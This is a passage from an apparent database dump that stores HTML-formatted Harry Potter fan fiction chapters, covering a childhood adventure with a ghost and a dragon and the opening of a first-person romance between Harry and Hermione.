silence.</p>\n\n<p>&#8220;Well&#8230; we put on our crowns,&#8221; Hermione placed hers on her head and Harry followed suit. &#8220;And then&#8230; we stand up and wave to all our subjects!&#8221; she took Harry&#8217;s hand and pulled him up. She began to wave.</p>\n\n<p>Harry looked from her to the empty space in front of him and shrugged. &#8220;<i>What do I have to lose?&#8221;</i> he wondered as he began to imitate Hermione.</p>\n\n<p>&#8220;And now,&#8221; Hermione said. &#8220;I proclaim you, Harry&#8230; what&#8217;s your middle name?&#8221; she stopped and giggled. </p>\n\n<p>&#8220;James.&#8221; Harry replied, grinning back. </p>\n\n<p>&#8220;I proclaim you, Harry James Potter, King of Caliadrien!&#8221; she made one large swoop with her arm and they both started laughing. &#8220;Your turn!&#8221;</p>\n\n<p>&#8220;Okay&#8212; I, Harry James Potter, King of Caliadrien, proclaim you, Hermione&#8230;&#8221; he paused.</p>\n\n<p>&#8220;Eliana,&#8221; she whispered.</p>\n\n<p>&#8220;I, Harry James Potter, King of Caliadrien, proclaim you, Hermione Eliana Granger, to be my Queen of Caliadrien!&#8221; Harry made the same swooping motion with his arm and they both laughed again, then hooked pinkies and sealed their titles with a kiss. He looked at her sparkling eyes and flushed cheeks. <i>&#8220;She&#8217;s pretty&#8230;.&#8221;</i> He didn&#8217;t voice that thought, as it was startling to him, but he hid it well as Hermione began to move towards the pond.</p>\n\n<p>&#8220;King Harry, we need to make our palace.&#8221; She was saying. For the first time, they crossed over the bridge and onto the tiny island in the middle of the pond. </p>\n\n<p>Harry looked around. &#8220;How about those branches?&#8221; he pointed to some on the other side of the pond.</p>\n\n<p>&#8220;Brilliant!&#8221; Hermione replied. They crossed over and each took an armful and dragged them back to the island. </p>\n\n<p>They worked far into the afternoon and were able to put together half their &#8216;castle&#8217;. Hermione sat back and looked at it with satisfaction.</p>\n\n<p>&#8220;I think we can finish the rest tomorrow, don&#8217;t you?&#8221; she asked.</p>\n\n<p>&#8220;Yeah,&#8221; Harry agreed reluctantly. He was sorry that the afternoon was coming to an end. They took off their crowns and set them inside their half built castle. As Harry began to follow Hermione out through the bushes, something made him stop and turn around. </p>\n\n<p>&#8220;Hermione!&#8221; he called out as his eyes grew wide at the sight in front of him.</p>\n\n<p>&#8220;What?&#8221; Hermione poked her head back out.</p>\n\n<p>Harry didn&#8217;t respond, only pointed directly in front of them. Hermione followed his finger and gasped.</p>\n\n<p>A ghost stood on the path in front of them.</p> '),
	(81, 4, ' <p>Harry and Hermione stood still with their jaws open as the ghost floated silently on the path. Hermione let out a tiny whimper and stood behind Harry. She had never seen a ghost before although she always had believed in their existence. </p>\n\n<p>Harry made a move to push Hermione back towards the bushes when the ghost reached out a pale, transparent hand. &#8220;Please&#8230;&#8221; it spoke with a young sounding voice. &#8220;I mean neither one of you any harm. I&#8217;ve been watching you while you have been here.&#8221;</p>\n\n<p>Neither one of the children spoke as the ghost came towards them even more. It looked like a young boy their age, but he wore an old nightdress that looked like it was half a century old. His hair was tied back with a leather thong, but pieces of it fell around his dark, almost black soulful eyes. &#8220;My name is Gabriel De LaMonte. My father was baron of these lands, and I was set to inherit them one day.&#8221; He hung his head.</p>\n\n<p>&#8220;What happened?&#8221; Hermione asked, unable to keep her curiosity from keeping her silent. </p>\n\n<p>Gabriel lifted his eyes so that they met hers. &#8220;I was murdered shortly before my twelfth birthday.&#8221; He said, and both Harry and Hermione gasped. &#8220;There was a rivalry between my father&#8217;s village and the neighbouring one. We were in possession of something they wanted, so they stole in one night and killed my entire family.&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Harry finally spoke. He knew what losing a family was like. &#8220;What&#8230; what were they looking for?&#8221; Unconsciously, he and Hermione both sat down on the grass together. </p>\n\n<p>&#8220;An amulet,&#8221; Gabriel said, also sitting down. &#8220;It was passed down to my father from his father, as so it as been every generation for hundreds of years.&#8221;</p>\n\n<p>&#8220;What&#8217;s so special about it?&#8221; Hermione asked.</p>\n\n<p>&#8220;It granted us the power to be immortal.&#8221; Gabriel said. Harry looked at Hermione with wide eyes.</p>\n\n<p>&#8220;Then&#8230; how&#8230;&#8221; Harry was trying to form the words in his mouth when the ghost spoke again.</p>\n\n<p>&#8220;We had to have the right spell to make it work. We were not able to find it before we were killed.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Harry replied, unsure of what else to say.</p>\n\n<p>&#8220;Well, besides granting immortality, the amulet also has the power to bring people back to life.&#8221; Gabriel said, smoothing at his nightdress. &#8220;I&#8217;ve managed to find the spell, but I need&#8212;&#8220; he was cut off as Hermione jumped up.</p>\n\n<p>&#8220;Oh no! Harry- its half past five!&#8221; she said in a panic. She and Harry were supposed to leave a half hour before, but they had stayed to listen to the ghost. </p>\n\n<p>Harry visibly paled and looked over at Gabriel. The slightest change came to his face, it looked to him like anger, but it was gone before he could fully register it. </p>\n\n<p>&#8220;I&#8217;m sorry to have kept you,&#8221; Gabriel said. &#8220;I&#8217;ll still be here tomorrow, and I can tell you more about this place if you like.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; Harry said. Hermione nodded vigorously.</p>\n\n<p>&#8220;Thank you, I would love that.&#8221; She said as she pulled on Harry&#8217;s hand towards the bushes. They went through quickly; both worried about what they might find on the other side. For Hermione, it was an angry mother, for Harry, it was not finding his aunt, for he had no other way to get home.</p>\n\n<p>The two children hurried silently through the woods, and immediately upon leaving the trees behind them they encountered a panicked looking Mrs. Granger.</p>\n\n<p>&#8220;Hermione!&#8221; Her mother was rushing towards them. &#8220;Where have you two been? I&#8217;ve been looking <i>everywhere</i>!&#8221; she let out an exasperated sigh.</p>\n\n<p>&#8220;We&#8217;re sorry Mummy,&#8221; Hermione said, while Harry looked frantically towards the parking lot for his aunt&#8217;s car. &#8220;We were playing and we lost track of the time.&#8221;</p>\n\n<p>&#8220;As long as you&#8217;re all right,&#8221; Mrs. Granger replied. &#8220;Come on, Harry, where are your parents?&#8221;</p>\n\n<p>Harry turned red. &#8220;My aunt must have&#8230; left without me&#8230;&#8221; he said reluctantly. </p>\n\n<p>Hermione turned sorry brown eyes upon him, and Mrs. Granger halted in her steps. &#8220;Left without you?&#8221; she was shocked.</p>\n\n<p>Harry nodded silently, his face red as he stared at the ground. He felt a small hand on his shoulder and glanced up to see Hermione giving him a comforting look.</p>\n\n<p>&#8220;Your aunt just left you here?&#8221; Mrs. Granger was not so sympathetic, not for Petunia Dursley anyway. She looked down and finally saw the embarrassment on the young boy&#8217;s face. &#8220;It&#8217;s all right dear; I&#8217;ll take you home all right?&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry replied shyly. Hermione smiled at him as they went over to the car, the two children buckling themselves into the backseat. </p>\n\n<p>&#8220;What is your address Harry?&#8221; Mrs. Granger asked, peering at him from the rear view mirror. </p>\n\n<p>&#8220;<st1:street><st1:address>4 Privet Drive</st1:address></st1:street>,&#8221; Harry answered, jamming his hands into his pockets. </p>\n\n<p>&#8220;I&#8217;m pretty sure I know where that is,&#8221; Mrs. Granger replied, smiling back at him. She felt bad for her daughter&#8217;s friend, such a nice boy that seemed to be quite mistreated. </p>\n\n<p>Hermione leaned over to him. &#8220;I can&#8217;t believe we saw a ghost in there,&#8221; she whispered. &#8220;What did you think of him?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Harry confessed. &#8220;I mean, it seemed like he was mad we had to leave.&#8221;</p>\n\n<p>&#8220;He probably hasn&#8217;t seen another human for a long time,&#8221; Hermione replied. </p>\n\n<p>&#8220;Do you think he wants to be friends with us?&#8221; Harry asked.</p>\n\n<p>&#8220;Maybe,&#8221; Hermione shrugged. &#8220;I suppose we&#8217;ll find out tomorrow right?&#8221;</p>\n\n<p>&#8220;Is this your house Harry?&#8221; Mrs. Granger interrupted them. Harry looked up, surprised that they were already at <st1:street><st1:address>4 Privet Drive</st1:address></st1:street>. </p>\n\n<p>&#8220;Yes,&#8221; he replied reluctantly. For once the drive didn&#8217;t take long and Harry wished he could stay with the Grangers.</p>\n\n<p>&#8220;I&#8217;ll see you tomorrow Harry,&#8221; Hermione smiled at him. He smiled back and got out of the car along with Mrs. Granger who put her hand on his shoulder as they marched up to the front door. He wasn&#8217;t sure what she was doing until the door had opened and his aunt stood in front of them. </p>\n\n<p>&#8220;Can I help you?&#8221; Petunia asked politely, showing a false smile.</p>\n\n<p>&#8220;You can tell me why you&#8217;ve left your nephew alone in the park,&#8221; Mrs. Granger said, getting right to the point. Harry looked down at the ground, not wanting to see his aunt glaring at him. &#8220;I hardly think its fit to leave a seven year old to walk home alone.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t realise he wasn&#8217;t in the car until we arrived at home!&#8221; Petunia pulled Harry close and put her bony arm around his neck. &#8220;You can imagine our fright realising he wasn&#8217;t there like we thought!&#8221; She pinched Harry&#8217;s cheek. &#8220;You poor dear, we thought you were just sleeping in the backseat! Are you all right?&#8221; Petunia hunched down and gave Harry a nasty look that Mrs. Granger could not see.</p>\n\n<p>&#8220;I&#8217;m fine,&#8221; Harry choked out as his aunt pinched him harder. &#8220;Thank you for the ride Mrs. Granger.&#8221;</p>\n\n<p>&#8220;Certainly Harry,&#8221; Mrs. Granger replied, not convinced that he was truly okay. &#8220;Hermione and I will see you tomorrow?&#8221;</p>\n\n<p>Harry nodded as Mrs. Granger turned and went back to the car. Hermione waved at him from where she had climbed into the front seat as they pulled away.</p>\n\n<p>Petunia pushed Harry back as soon as the car had disappeared. &#8220;What did you think you were doing, telling them I left you behind?&#8221; she hissed.</p>\n\n<p>&#8220;I didn&#8217;t!&#8221; Harry protested, pushing his glasses up on his nose. </p>\n\n<p>Petunia narrowed her eyes. &#8220;Get into your cupboard!&#8221; she pushed him down the hallway. &#8220;And no dinner tonight either!&#8221;</p>\n\n<p>Harry sat on his bed and glared at the door. &#8220;Fine,&#8221; he muttered. He&#8217;d eaten his share of berries plus the lunch Hermione had brought for him again that day and was not hungry. Flopping onto his back, he looked at the stairs over his head. He was still amazed at the fact that a real ghost had appeared in front of them today. </p>\n\n<p>&#8220;Harry seems to be a very nice boy, but I&#8217;m not sure about that aunt of his,&#8221; Mrs. Granger pulled into the driveway.</p>\n\n<p>&#8220;You&#8217;re right Mum,&#8221; Hermione replied. &#8220;His aunt and cousin are horrible to him.&#8221;</p>\n\n<p>&#8220;You&#8217;re a good girl Hermione, and a good friend to Harry.&#8221; Her mother smoothed back her long bushy hair. &#8220;I&#8217;m proud of you love.&#8221;</p>\n\n<p>&#8220;Thanks Mum,&#8221; Hermione hugged her and set her bag down in the hallway. &#8220;I&#8217;m going to wash up for supper.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Mrs. Granger smiled as she watched her daughter scamper up the stairs. </p>\n\n<p>*** The Next Day***</p>\n\n<p>Harry sat in the car, trying to ignore his aunt&#8217;s shrill voice as she scolded him again for his &#8216;actions&#8217; the day before and that he was no longer allowed to have anything to do with &#8216;that girl OR her mother&#8217;. </p>\n\n<p>&#8220;Do you hear me Harry Potter?&#8221; Petunia snapped as she parked the car.</p>\n\n<p>&#8220;Yes,&#8221; Harry replied in monotone. He had a sinking feeling in his stomach at the sight of the Granger&#8217;s car pulling in a few spaces down. Harry turned the other way and lugged <st1:place>Dudley</st1:place>&#8217;s sack of toys and the lunch basket towards a grassy spot.</p>\n\n<p>&#8220;Hi Harry!&#8221; Hermione came up to him.</p>\n\n<p>&#8220;Hi,&#8221; Harry replied. &#8220;Uh listen&#8230; my aunt says I can&#8217;t be friends with you anymore,&#8221; He said in a low voice.</p>\n\n<p>&#8220;What?&#8221; Hermione looked genuinely alarmed. &#8220;Why?&#8221;</p>\n\n<p>&#8220;Because your mum brought me home yesterday,&#8221; Harry could see his aunt glaring from the corner of his eye. &#8220;Just do me a favour- walk away like you&#8217;re really upset and meet me at the entrance to Caliadrien in a few minutes.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Hermione was still looking at him like he was saying something strange and walked away quickly. He dropped the toys on the ground and took off towards the woods without looking back at his aunt or cousin. </p>\n\n<p>Once he had disappeared behind the trees, Harry broke into a run and saw Hermione near the entrance to Caliadrien. &#8220;What was that all about?&#8221; she asked as he dropped to all fours and crawled into the bushes. </p>\n\n<p>&#8220;Come on,&#8221; Harry didn&#8217;t want to risk his cousin seeing him with Hermione. She followed him through and they both blinked in the bright sunlight on the other side. &#8220;My aunt was really mad about yesterday afternoon,&#8221;</p>\n\n<p>&#8220;Well if anyone should be mad it&#8217;s you,&#8221; Hermione brushed her hair from her eyes. </p>\n\n<p>Harry shrugged. &#8220;I don&#8217;t know. Maybe it&#8217;s not really worth it for you. I don&#8217;t want <st1:place>Dudley</st1:place> to bully you because of me.&#8221; He scuffed his shoe in the dirt and looked down at the ground. He suddenly felt a pressure around him and all he could see was bushy hair when he looked up.</p>\n\n<p>&#8220;Harry, I don&#8217;t care what your aunt or cousin says.&#8221; Hermione hugged him tighter. &#8220;I like you. You&#8217;re my best friend.&#8221; She pulled back and smiled at him, and Harry felt that strange flutter in his stomach again. </p>\n\n<p>&#8220;Okay,&#8221; Harry grinned, feeling better than he ever had. </p>\n\n<p>&#8220;You&#8217;ve come back!&#8221; a voice spoke out from behind them, and both children turned around to see Gabriel De la Monte floating before them.</p>\n\n<p>&#8220;Yes, of course we did,&#8221; Hermione finally replied.</p>\n\n<p>&#8220;And I thank you for it,&#8221; Gabriel bowed regally.</p>\n\n<p>&#8220;Tell us more about this amulet,&#8221; Harry said as they moved further into Caliadrien and crossed over into the centre island of the pond. </p>\n\n<p>&#8220;It has the power to restore life as well as grant immortality to the person in possession of it.&#8221; Gabriel said. &#8220;It&#8217;s extremely powerful and can be obviously quite dangerous in the wrong hands.&#8221;</p>\n\n<p>Hermione nodded seriously. &#8220;What&#8217;s keeping you from it now?&#8221;</p>\n\n<p>&#8220;A dragon,&#8221; Gabriel said simply.</p>\n\n<p>Harry and Hermione looked at one another. &#8220;A dragon?&#8221; he asked.</p>\n\n<p>&#8220;Yes,&#8221; Gabriel replied. &#8220;He lives just over that hill there. He guards the cave in which the amulet lies.&#8221;</p>\n\n<p>&#8220;If you&#8217;re a ghost then why can&#8217;t you just go in and get it?&#8221; Harry asked.</p>\n\n<p>Gabriel turned to him and for a moment Harry thought he saw that momentary flash of anger in his eyes much like the previous day.</p>\n\n<p>&#8220;There is a spell protecting the cave- a spell that will not let anyone with the de LaMonte blood enter it.&#8221; Gabriel replied. &#8220;It&#8217;s being cast by this dragon, and as long as it is there, I cannot get in.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Harry replied. <i>&#8216;A dragon!&#8217;</i> He thought to himself while Hermione started asking Gabriel a few questions. <i>&#8216;I thought they only existed in fantasy books and fairy tales.&#8217;</i></p>\n\n<p>&#8220;So you need us to get the dragon out of the way so you can get in there?&#8221; Hermione was asking.</p>\n\n<p>&#8220;Well,&#8221; Gabriel looked pensive. &#8220;I cannot enter this cave until the dragon is dead. Therefore you either must kill it or one of you must go in the cave and retrieve the amulet for me while the other distracts the dragon.&#8221;</p>\n\n<p>Hermione&#8217;s eyes widened and Harry gulped. He leaned over and spoke quietly to Hermione, &quot;What do you think about this?&#8221;</p>\n\n<p>Hermione smiled at Gabriel. &quot;We need to talk for a moment please,&quot; she tried to be as polite as possible. &quot;I don\'t know,&quot; she answered quietly once they were a few steps away. &quot;I feel sorry for him.&quot;</p>\n\n<p>Harry glanced over at the ghost and then back at Hermione, &quot;I don\'t know, don\'t you think a ghost could just go in and get it without being seen by the dragon?&#8221;</p>\n\n<p>&quot;I know...&quot; Hermione bit her lower lip. &quot;But he said there\'s a spell... and there\'s so many new things that have happened to us since we found this place... I think we should help him.&quot;</p>\n\n<p>Harry sighed and looked at his feet, &quot;I have a strange feeling about this, but if you think we should help him, then all right. We\'ll help him.&quot;</p>\n\n<p>&quot;Okay,&quot; Hermione squeezed his arm gently, her small face lighting up in excitement. The two children went back to the ghost, who was floating idly. &quot;We um...&quot; Hermione glanced at Harry. &quot;We\'ll help you.&quot;</p>\n\n<p>&quot;Yes, we\'ll help you. But why exactly do you need us I mean is the spell really that bad, that you can\'t just do it yourself?&quot; Harry asked, still not completely convinced. </p>\n\n<p>Hermione noticed a flash of anger go through Gabriel\'s eyes but before it could really register in her mind it was gone.&nbsp; &quot;It\'s a combination of the amulet and the dragon. If I set foot in that cave I will be banished.&quot; Gabriel replied, rather coolly.</p>\n\n<p>&#8220;All right,&#8221; Harry finally conceded. </p>\n\n<p>&#8220;What do you need us to do?&#8221; Hermione asked. </p>\n\n<p>Gabriel looked at the two of them. &#8220;Neither one of you would be able to kill a dragon,&#8221; his eyes grew cooler. &#8220;So that means one of you will have to distract it while the other retrieves my amulet.&#8221;</p>\n\n<p>&#8220;I&#8217;m a pretty fast runner,&#8221; Harry said. &#8220;I can get it to follow me away from the cave.&#8221;</p>\n\n<p>&#8220;I&#8217;ll go in and retrieve the amulet,&#8221; Hermione said, clearly relieved she would not have to be dragon bait. </p>\n\n<p>Gabriel truly smiled for the first time since they had met him. &#8220;I thank you very much,&#8221; he bowed again. &#8220;I will await your return here. The cave is just beyond that hill.&#8221; He pointed in the direction.</p>\n\n<p>Harry nodded, and with another glance at Hermione, they left the little island and started for the hill. &#8220;I don&#8217;t really like him,&#8221; Harry confessed when they were far enough away that the ghost would not overhear.</p>\n\n<p>&#8220;I feel sorry for him,&#8221; Hermione answered. &#8220;He just wants to be alive again, like you and me.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Harry replied. &#8220;I don&#8217;t really know much about ghosts&#8230; but I just don&#8217;t trust him.&#8221;</p>\n\n<p>They went on in silence, glancing at each other in nervousness. &#8220;Um&#8230;&#8221; Harry began. &#8220;I&#8217;ll go first and get the&#8230; the dragon out of the way. Wait until I&#8217;m far enough so you can run in and out with the amulet for the ghost, okay?&#8221; his voice shook and he tried to steady it. He didn&#8217;t want Hermione thinking he was too scared.</p>\n\n<p>&#8220;Okay,&#8221; Hermione&#8217;s lower lip was quivering, and then all of a sudden she was launching herself at him. &#8220;Oh Harry, be careful!&#8221; she kissed his cheek so quickly he wasn&#8217;t sure if it actually happened or not and pulled away, blushing. &#8220;For luck, she said shyly, and Harry&#8217;s stomach fluttered violently; he wasn&#8217;t sure if it was still his nerves or not.</p>\n\n<p>&#8220;Just&#8230; wait here until you see me go. And then go in and get it.&#8221; Hermione nodded wordlessly and Harry bravely crawled the rest of the way over the hill. Swallowing hard, he approached the cave slowly. </p>\n\n<p>&#8220;Okay,&#8221; he told himself. &#8220;Just make sure the dragon sees you, and run as fast as you can.&#8221; His thin legs carried him to the cave, where he stood outside shakily.&nbsp; &#8220;Hey!&#8221; he shouted. &#8220;I know you&#8217;re in there! Come out and face me!&#8221; Harry tried hard to be as brave as he could. </p>\n\n<p>A deep rumbling came from the cave and his knees trembled and knocked together. &#8220;Come on!&#8221; he shouted again. </p>\n\n<p>The dragon stood before him, no larger than a full grown elephant, yet for some reason it held childish baby like features a rounded nose, the scales on its back stood up straight much like an iguana.&nbsp; The light greens of its scales mixed with a dark forest green, a pearlesque sheen to them.&nbsp; Its claws looked as sharp as jagged rocks; its wings were tucked in up against its body.</p>\n\n<p>Harry stumbled backwards, falling and scrambling back up. He began to run, run as fast as he could. The dragon let out a roar and began to chase him. Harry tore down the hill towards some trees, hoping to lose the dragon in there. He glanced behind him and saw Hermione crawling towards the cave. </p>\n\n<p>Harry pushed himself to run faster, and for once was grateful for all the times he had been chased by Dudley and his bully friends. The dragon was closing in on him, and Harry went even faster as he started to near the trees. </p>\n\n<p>Hermione was scared as she went into the cave. It was dark, and she kept tripping over rocks on the floor. She inched along, attracted to a dim glow in the very back of the cave. Coming upon it, she found the amulet. It was heavy and gold, with a dark coloured ruby in the centre. She picked it up carefully, her seven year old mind awed by its beauty. Hermione stared at it for several minutes before she heard a voice screaming her name.</p>\n\n<p>&#8220;HERMIONE!&#8221; Harry shouted as loud as he could. He had tripped and fallen flat on his back, and now the dragon, even though it was small, was standing directly over him. It lifted one claw and pressed it on top of Harry&#8217;s abdomen.</p>\n\n<p>Oooh, another cliffhanger! This story will be finished in the coming months, but it&#8217;s our lag story, we&#8217;ve got others we&#8217;re more enthused about, I must say. Sad&#8230; I know. But I will never leave a story unfinished!</p>\n\n<p>We appreciate all of you that have stuck with us so far! We know that this story has taken so long to do, but we&#8217;re working hard to finish it. This next chapter will most likely be the last.</p>\n\n<p>Thanks again, and please let us know what you think!</p> '),
	(82, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well I had\nthis idea floating in my head all day, and it was all I could concentrate on\nall afternoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Don&#8217;t forget to\nleave a review after you&#8217;re done, please&#8230;I thrive on those ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And be sure and\ncheck out my other stories, Ryoko Blue&#8217;s work, and our co fics under the acct\nRyoko Blue and Heaven. Both links are under my favourites.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks, and\nenjoy!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: Would\nI be writing ficlets if I owned this? Sheesh!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I didn&#8217;t want to\nfall in love with my best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I don&#8217;t know when\nit happened, I really don&#8217;t. Just sometime today, it had to be after dinner,\nbecause when we were eating I didn&#8217;t feel anything. No, it definitely had to be\nafter we got to the library. So that means sometime between half past seven and\nnow, I fell in love with my best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Why you ask? I\nhave no clue. Hermione&#8217;s sitting in front of me right now, across the table,\nstudying. That&#8217;s what I&#8217;m supposed to be doing as well, but I can&#8217;t\nconcentrate. I suppose that happens when you fall in love.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s fallen in\nlove so many times now. He told me about his first crush, which was believe it\nor not, Lavender Brown. Everyone, including me, thought Hermione was his first\ncrush. They went out in our fifth year, for exactly two days, you know. He\nasked her out on a Friday, they went to Hogsmeade that Saturday, and that\nevening broke up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Why did he even\nbother, I wonder sometimes. It was so obvious they weren&#8217;t meant to be. They\nbicker constantly, and while some people may mistake that for attraction, that\ncertainly isn&#8217;t the case for my two best friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That could be why\nI don&#8217;t feel guilty about how I feel about her now. Scared, sure, but not\nguilty. Ron has since moved on, plenty of times, but Hermione has stayed single\nsince then. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m still curious\nas to when these feelings came on. I mean, one second I felt fine, then I\nhappened to look up. She was reaching up with one of her slim hands to push a\nlock of her curly chestnut hair away from her face. It fell back almost\nimmediately, and I let out a snigger as she impatiently brushed it away again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\nlaughing at, Harry?&#8221; she had asked me, frowning. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I grinned at her\nfor a moment, then in a move I&#8217;d have never thought I&#8217;d make, reached across\nthe table and brushed it away for her. Our eyes met and&#8212;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">BAM!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It hit me like a\nton of bricks, I never understood that Muggle saying until now, but that&#8217;s\nexactly what it felt like. I sat back down and buried my face in my History of\nMagic book. I was terrified at what I was feeling. Believe it or not, at that\nmoment, I was more scared than I was facing Voldemort.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The thought that\ninundated my mind most was &#8216;<i>What if she doesn&#8217;t like me back</i>?&#8217; Could I\nhandle it if I told her that I had fallen in love with her, and then she said &#8220;<i>No\nI&#8217;m sorry Harry, but I almost lost one best friend when I dated him, I don&#8217;t\nwant that happening again</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No I couldn&#8217;t\nhandle that at all. I loved her. I had to tell her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; I\nfinally managed to say. This was after I sat staring at her over the top of my\nbook for another half hour.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Harry?&#8221; she\nasked, barely raising her eyes from the parchment she was scribbling on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I um&#8230;&#8221; I began\nto stutter, which wasn&#8217;t good. I should just say it and get it over with. Yes,\nthat&#8217;s good. &#8220;Um&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione began to\nlook impatient with me. That wasn&#8217;t a good sign.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I um&#8230;well can\nyou quiz me on this?&#8221; I held out the History of Magic book to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Damn me. I lost\nmy nerve.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; She took\nthe book, and our hands brushed. I nearly gasped aloud; her touch seemed to\nelectrify my whole being. Somehow, I managed to answer every question Hermione\nfired at me. I could tell by her wide smile that she was proud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See Harry?&#8221; she\nsaid happily, closing my book and handing it back. &#8220;You&#8217;ll do just fine on the\nHistory OWL.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I&#8217;m sure\nthat&#8217;s because I have the next best thing to a professor sitting right in front\nof me.&#8221; I replied, grinning back at her. For some reason beyond me, this seemed\nto fluster her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Library closes\nin ten minutes.&#8221; Madam Pince said as she swept by the table. I took a look\naround and noticed that Hermione and I were the only ones left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose we\nshould go.&#8221; Hermione said reluctantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know, I\nbet if you asked, Madam Pince would let you sleep in here.&#8221; I teased. I was\nastonished at my easygoing attitude. Perhaps it was because I felt at ease\naround her, even in love with her, I could be myself. I don&#8217;t have to be Famous\nHarry Potter around her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smirked at me\nas she marked all her books neatly, and then stacked them into her bag. It made\nme smile; her bag still bulged with as many books as possible. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Swinging it back\nover her shoulder as we left the library, I was amused to see her stagger\nslightly under it&#8217;s weight. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here.&#8221; I said.\n&#8220;I&#8217;ll carry that for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s fine, I\ncan handle it.&#8221; She replied. Always the independent one. Hermione would never,\nnot in a million years, admit that she couldn&#8217;t handle something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know you can.&#8221;\nI assured her. &#8220;But let me take it anyway.&#8221; I slid my hand up the strap and\ngently pulled it off her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.\nThanks Harry.&#8221; She smiled at me as I slung the bag over my own shoulder and we\nbegan walking back to the Gryffindor Common Room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As we slipped\nback into silence, my thoughts began to rush through my head again. I&#8217;d come to\nthe conclusion that I loved her, and I knew I had to find a way to tell her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Hermione, I love\nyou.&#8217; I began to practice in my mind. &#8216;I&#8217;m going to tell her before we get past\nFlitwick&#8217;s classroom.&#8217; I told myself. &#8216;All right, as soon as we pass the statue\nof Boris&#8230;&#8217; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I kept trying to\nforce myself to say something to her but every time I opened my mouth to say &#8216;I\nlove you, Hermione&#8217; my voice simply refused to work.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So we trod on,\nstill in silence. I think we were both lost in thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All of a sudden,\nhowever, I felt a pressure in my hand. I looked down, and I realized with a\nstart that <i>I was holding her hand</i>!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Did I grab her\nhand or did she grab mine? Hermione certainly doesn&#8217;t seem to mind, I know for\na fact if she doesn&#8217;t like something she&#8217;ll speak up right away. I gave her\nhand a gentle squeeze and we both turned and smiled at one another.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Outside, yes I\nwas smiling indeed but inside I was troubled. <i>&#8216;Maybe you were wrong,\nPotter.&nbsp; If she&#8217;s holding your hand,\nthen she probably likes you. But you&#8217;re friends, don&#8217;t friends sometimes hold\nhands?&#8217;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 